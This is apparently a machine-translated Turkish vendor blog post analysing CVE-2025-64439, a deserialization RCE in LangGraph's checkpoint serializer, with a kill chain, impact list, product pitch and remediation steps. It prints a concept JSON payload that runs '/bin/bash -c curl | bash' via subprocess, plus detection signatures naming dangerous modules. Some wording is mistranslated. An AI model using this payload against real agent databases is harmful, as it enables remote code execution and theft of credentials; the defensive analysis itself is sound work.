Penligent Başlık

Bellek Zehirlenmesi: CVE-2025-64439'un (LangGraph RCE) Adli Analizi ve Agentik Durumun Kırılganlığı

LangGraph'ın kontrol noktası serileştiricisinde kritik bir RCE olan CVE-2025-64439'un (CVSS 9.8) teknik otopsisi. JSON serileştirme mantığı kusurunu, AI Agent belleğini zehirlemek için öldürme zincirini ve AI odaklı savunma stratejilerini analiz ediyoruz.

2026'nın mimari evriminde, Agentik Yapay Zeka deneysel Jupyter not defterlerinden görev açısından kritik kurumsal altyapıya geçiş yaptı. Gibi çerçeveler LangGraph geliştiricilerin karmaşık görevleri duraklatabilen, devam ettirebilen ve yineleyebilen durum bilgisi içeren, çok aktörlü uygulamalar oluşturmasına olanak tanıyarak bu sistemlerin bel kemiği haline gelmiştir.

Ancak, bu bilgilerin açıklanması CVE-2025-64439 (CVSS Puanı 9.8, Kritik), bu ajanları "akıllı" kılan mekanizmadaki feci bir güvenlik açığını ortaya çıkarır: uzun süreli hafızaları.

Bu tipik bir web güvenlik açığı değildir. Bu bir tedari̇k zi̇nci̇ri̇ nükleer seçeneği̇ AI kalıcılık katmanını hedef alıyor. Kusur, yapay zekanın langgraph-checkpoint kütüphane-özellikle de nasıl JsonPlusSerializer veri kurtarma işlemlerini gerçekleştirir. Saldırganlar bu durumdan faydalanarak bir Agent'ın durum depolama alanına (örn. SQLite, Postgres) kötü amaçlı JSON yükleri enjekte edebilir ve Uzaktan Kod Yürütme (RCE) Sistemin bir iş akışını devam ettirmek için önceki bir durumu "hatırlamaya" çalıştığı an.

Sıkı bir yapay zeka güvenlik mühendisi için bunun anlamı çok açık: "Devlet" yeni "Girdi "dir. Bir saldırgan bir aracının serileştirilmiş geçmişini etkileyebilirse, çıkarım sunucusunda rastgele kod çalıştırabilir. Bu makale, bu "Bellek Zehirlenmesi" öldürme zincirinin mekaniğini ortaya çıkarmak için kaynak kodunu incelemektedir.

Güvenlik Açığı İstihbarat Kartı

Metrikİstihbarat Detayı
CVE TanımlayıcıCVE-2025-64439
Hedef Bileşenlanggraph-checkpoint (Çekirdek Kütüphane) & langgraph-checkpoint-sqlite
Etkilenen Sürümlerlanggraph-checkpoint < 3.0.0; langgraph-checkpoint-sqlite <= 2.1.2
Güvenlik Açığı SınıfıRCE'ye yol açan Güvensiz Derileştirme (CWE-502)
CVSS v3.1 Puanı9,8 (Kritik) (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Saldırı VektörüKontrol Noktası Veritabanını Zehirleme, Durum Aktarımında Ortadaki Adam

Teknik Derin Dalış: Teknik Derin Dalış JsonPlusSerializer Tuzak

CVE-2025-64439'u anlamak için LangGraph'ın kalıcılığı nasıl ele aldığını anlamak gerekir. Durum bilgisi olmayan bir LLM çağrısının aksine, bir Agent'ın daha sonra devam edebilmesi için yığınını (değişken değerler, konuşma geçmişi ve yürütme adımları) kaydetmesi gerekir. Bu işlem şu şekilde gerçekleştirilir Checkpointers.

LangGraph aşağıdakileri kullanmaya çalışır msgpack verimlilik için. Bununla birlikte, AI iş akışlarındaki Python nesneleri genellikle karmaşık olduğundan (özel sınıflar, Pydantic modelleri), sağlam bir geri dönüş mekanizması uygular: JSON Modutarafından ele alınmıştır. JsonPlusSerializer.

Bellek Zehirlenmesi: CVE-2025-64439'un (LangGraph RCE) Adli Analizi ve Agentik Durumun Kırılganlığı

1. Ölümcül "Kurucu" Mantığı

Güvenlik açığı JSON kullanımında değil nasıl LangGraph, karmaşık Python türlerini desteklemek için JSON'u genişletir. JSON'dan bir Python nesnesini yeniden oluşturmak için, serileştirici "sihirli anahtarlar" içeren belirli bir şema arar:

  • lc: LangChain/LangGraph sürüm tanımlayıcısı (örn, 2).
  • tip: Nesne türü (özellikle "kurucu").
  • id: Sınıf veya fonksiyona giden modül yolunu temsil eden bir liste.
  • kwargs: Bu kurucuya iletilecek bağımsız değişkenler.

Kusur: Etkilenen sürümlerde, deserializer id alanını dolaylı olarak belirler. Belirtilen modülün "güvenli" bir LangGraph bileşeni mi yoksa tehlikeli bir sistem kütüphanesi mi olduğunu doğrulamaz. Modülü dinamik olarak içe aktarır ve yapıcıyı sağlanan argümanlarla çalıştırır.

2. Adli Kod Yeniden Yapılandırma

Yama analizine göre, güvenlik açığı bulunan mantık langgraph/checkpoint/serde/jsonplus.py aşağıdaki modele benzemektedir:

Python

# Basitleştirilmiş Güvenlik Açığı Mantığı def _load_constructor(value): # TEHLİKELİ: 'id' üzerinde allow-list kontrolü yok # 'id' doğrudan JSON yükünden geliyor module_path = value["id"][:-1] class_name = value["id"][-1]

# HERHANGİ bir modülün dinamik içe aktarımı
module = importlib.import_module(".".join(module_path))
cls = getattr(module, class_name)

# Kurucunun yürütülmesi
return cls(**value["kwargs"])`

Bu mantık, deserializer'ı kötü şöhretli Java'ya benzer şekilde genel bir "Gadget Chain" yürütücüsüne dönüştürür ObjectInputStream Güvenlik açıkları, ancak yük insan tarafından okunabilir JSON olduğu için istismar edilmesi daha kolaydır.

Ölüm Zinciri: Hafıza Zehirlenmesi

Bir saldırgan bu JSON'u sisteme gerçekten nasıl sokar? Saldırı yüzeyi göründüğünden daha geniştir.

Aşama 1: Enjeksiyon (Zehir)

Saldırganın kontrol noktalarının depolandığı veritabanına yazması gerekir.

  • Senaryo A (Doğrudan Girdi): Agent, duruma ham olarak depolanan kullanıcı girdisini kabul ederse (örneğin, "Bu metni özetleyin: [MALICIOUS_JSON]") ve uygulama serileştirme mantığı kusurluysa, yük DB'ye yazılabilir.
  • Senaryo B (SQL Enjeksiyonu Pivotu): Bir saldırgan daha düşük şiddette bir SQL Enjeksiyonu (CVE-2025-8709 gibi) kullanarak kontrol noktaları tablosunu doğrudan SQLite/Postgres'e yerleştirerek, RCE yükünü thread_ts veya durum blobu.

2. Aşama: Silahlandırma (Yük)

Saldırgan, geçerli bir LangGraph nesnesini taklit eden bir JSON yükü oluşturur, ancak alt süreç.

Konsept PoC Yükü:

JSON

{"lc": 2, "type": "constructor", "id": ["subprocess", "check_output"], "kwargs": { "args": ["/bin/bash", "-c", "curl | bash"], "shell": false, "text": true } }

3. Aşama: Patlama (Devam)

Kod, enjeksiyonun hemen ardından yürütülmez. Ajan okur devlet.

  1. Kullanıcı (veya Saldırgan) Agent'ı bir iş parçacığını devam ettirmesi için tetikler (örneğin, "Önceki göreve devam et").
  2. LangGraph en son kontrol noktası için DB'yi sorgular.
  3. Bu JsonPlusSerializer blobu ayrıştırır.
  4. Karşılaştığı kurucu tip.
  5. İthal ediyor alt süreç ve çalışır check_output.
  6. RCE Başarıldı.

Etki Analizi: Yapay Zeka Beyin Soygunu

LangGraph'ı çalıştıran sunucuyu tehlikeye atmak, yapay zeka iş yüklerinin doğası gereği standart bir web sunucusunu tehlikeye atmaktan çok daha tehlikelidir.

  1. Kimlik Bilgisi Toplama: AI Agent'lar API anahtarları için ortam değişkenlerine güvenir (OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_ACCESS_KEY). DKAB, aşağıdakilere anında erişim sağlar os.environ.
  2. Vektör DB Sızma: Aracılar genellikle Pinecone, Milvus veya Weaviate'e okuma/yazma erişimine sahiptir. Bir saldırgan özel bilgi tabanlarını (RAG verileri) dökebilir.
  3. Model Ağırlık Enfeksiyonu: Sunucu yerel modelleri barındırıyorsa (örneğin Ollama kullanarak), saldırganlar model ağırlıklarını zehirleyebilir veya çıkarım işlem hattını değiştirebilir.
  4. Yanal Hareket: LangGraph ajanları aşağıdakiler için tasarlanmıştır bir şeyler yapmakAPI'leri çağırabilir, veritabanlarını sorgulayabilir, e-posta gönderebilir. Saldırgan, Agent'a atanan tüm izinleri ve araçları devralır.

Yapay Zekaya Dayalı Savunma: Penligent Avantajı

CVE-2025-64439'u tespit etmek eski DAST (Dinamik Uygulama Güvenlik Testi) araçları için bir kabustur.

  • Protokol Körlüğü: Tarayıcılar HTML formlarını ve URL parametrelerini arar. Python AI çerçeveleri tarafından kullanılan dahili ikili veya JSON serileştirme protokollerini anlamazlar.
  • Devlet Körlüğü: Güvenlik açığı şu durumlarda tetiklenir okuyundeğil yaz. Bir tarayıcı bir yük enjekte edebilir ve anında bir hata görmeyerek sonucu yanlış negatif olarak değerlendirebilir.

İşte burası Penligent.ai Yapay Zeka Uygulama Güvenliği için bir paradigma değişimini temsil ediyor. Penligent şunları kullanır Derin Bağımlılık Analizi ve Mantık Bulanıklaştırma:

  1. Tam Yığın Yapay Zeka Parmak İzi

Penligent'in aracıları pip dondurmanın ötesine geçer. Langgraph, langchain-core ve langgraph-checkpoint'in tam hash sürümlerini belirlemek için geliştirme ve üretim konteynerlerini tararlar. Bir Docker görüntüsünün derinliklerinde yuvalanmış olsa bile savunmasız bağımlılık zincirini tanır ve izin listeleri olmadan JsonPlusSerializer'ın varlığını işaretler.

  1. Serileştirme Protokolü Bulanıklaştırma

Penligent "Aracıların Dilini" anlar. Serileştirme işaretleyicileri (lc=2 ve iyi huylu yapıcı çağrıları gibi) içeren belirli problama yükleri oluşturabilir.

  • Tahribatsız Sonda: Penligent, ters kabuk yerine iyi huylu bir DNS aramasını tetikleyen bir yük enjekte eder (örn. socket.gethostbyname).
  • Doğrulama: Penligent OOB dinleyicisi, Aracı durumu yüklendiğinde DNS sorgusunu alırsa, güvenlik açığı 100% kesinliğiyle doğrulanır.
  1. Devlet Mağazası Denetimi

Penligent, AI Agent'larınız tarafından kullanılan kalıcılık katmanına (SQLite/Postgres) bağlanır. Depolanan blobları "Hareketsiz Yükler "e (serileştirilmeyi bekleyen kötü amaçlı JSON yapıları) karşı tarar ve bir olay meydana gelmeden önce veritabanınızı sterilize etmenizi sağlar.

Bellek Zehirlenmesi: CVE-2025-64439'un (LangGraph RCE) Adli Analizi ve Agentik Durumun Kırılganlığı

İyileştirme ve Sertleştirme El Kitabı

LangGraph ile inşa ediyorsanız, derhal düzeltme yapmanız gerekir.

1. Yükseltme Bağımlılıkları (Düzeltme)

Yükseltme langgraph-checkpoint versiyona 3.0.0 veya daha yüksek bir seviyeye derhal yükseltilmelidir.

  • Mekanizma: Yeni sürüm, aşağıdaki varsayılan desteği kaldırır kurucu türüne izin vermez veya katı, varsayılan olarak boş bir izin listesi uygular. Geliştiricileri serileştirme için güvenli sınıfları açıkça kaydetmeye zorlar.

2. Adli Veri Tabanı Temizliği

Sisteminizin açığa çıktığından şüpheleniyorsanız, sadece kodu yamamakla yetinemezsiniz; verileri temizlemeniz gerekir.

  • Eylem: Yinelemek için bir araç komut dosyası kontrol noktaları tablo. Her JSON bloğunu ayrıştırın.
  • İmza: Aramak için {"type": "yapıcı", "id": ["subprocess", ...]} veya herhangi bir id işaret ederek os, sysveya shutil.
  • Purge: Bu imzaları içeren tüm iş parçacıklarını/kontrol noktalarını silin.

3. Ağ ve Çalışma Zamanı İzolasyonu

  • Çıkış Filtreleme: YZ Temsilcileri sınırsız İnternet erişimine sahip olmamalıdır. Ters kabukları önlemek için bilinmeyen IP'lere giden bağlantıları engelleyin.
  • Veritabanı İzolasyonu: Kontrol noktalarını depolayan SQLite dosyasının veya Postgres örneğinin genel arayüzler aracılığıyla erişilebilir olmadığından emin olun.
  • En az ayrıcalık: Agent hizmetini kabuk erişimi olmayan bir kullanıcıyla çalıştırın (/bin/false) ve sıkı bir şekilde kapsamlandırılmış IAM rolleri.

Sonuç

CVE-2025-64439 yapay zeka endüstrisi için bir uyandırma çağrısı niteliğindedir. Giderek daha otonom ve durumsal hale gelen sistemler inşa ediyoruz, ancak bunları kırılgan güven temelleri üzerine inşa ediyoruz. Bir Ajanın hafızası değiştirilebilir, silah olarak kullanılabilir bir yüzeydir.

AGI'ye yakın sistemlere doğru ilerledikçe güvenlik mühendisliği de evrim geçirmelidir. "Durum "a, "Kullanıcı Girdisi "ne gösterdiğimiz şüpheyle yaklaşmalıyız. Serileştirme mantığını doğrulamak, bağımlılıkları denetlemek ve Penligent gibi yapay zekaya özgü güvenlik araçlarını kullanmak artık isteğe bağlı değil, Agentic AI çağında hayatta kalmak için ön koşullardır.

Güvenilir Referanslar

Gönderiyi paylaş:
İlgili Yazılar
tr_TRTurkish